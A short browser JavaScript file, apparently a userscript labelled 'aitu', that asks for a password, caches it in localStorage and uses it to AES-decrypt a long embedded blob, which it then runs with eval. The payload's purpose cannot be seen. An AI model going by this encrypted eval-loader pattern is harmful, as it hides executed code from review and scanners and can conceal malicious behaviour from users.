(() => {
    if (window.aituInitiated !== undefined) return;

    window.aituInitiated = false;

    const STORAGE_KEY = "aituPassword";

    async function decrypt(encryptedText, password) {
        const encryptedDataWithIv = new Uint8Array(atob(encryptedText).split("").map(char => char.charCodeAt(0)));

        const iv = encryptedDataWithIv.slice(0, 16);
        const encryptedData = encryptedDataWithIv.slice(16);

        const encoder = new TextEncoder();

        const baseKey = await crypto.subtle.importKey(
            "raw",
            encoder.encode(password),
            { name: "PBKDF2" },
            false,
            ["deriveKey"]
        );

        const keyObj = await crypto.subtle.deriveKey(
            {
                name: "PBKDF2",
                salt: iv,
                iterations: 100000,
                hash: "SHA-256"
            },
            baseKey,
            { name: "AES-CBC", length: 256 },
            false,
            ["decrypt"]
        );

        const decryptedData = await crypto.subtle.decrypt(
            { name: "AES-CBC", iv: iv },
            keyObj,
            encryptedData
        );

        const decoder = new TextDecoder();

        return decoder.decode(decryptedData);
    };

    const encryptedBlob = "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";

    (async () => {
        let password = localStorage.getItem(STORAGE_KEY);
        let decryptedCode;

        while (true) {
            if (!password) {
                password = prompt("Enter password:");

                if (!password) {
                    alert("Decryption cancelled.");

                    return;
                }
            }

            try {
                decryptedCode = await decrypt(encryptedBlob, password);
                localStorage.setItem(STORAGE_KEY, password);

                break;

            } catch (err) {
                localStorage.removeItem(STORAGE_KEY);
                password = undefined;
            }
        }

        window.aituInitiated = true;
        console.log("Started");
        eval("(" + decryptedCode.slice(0, decryptedCode.length - 1) + ")")();
    })();
})();
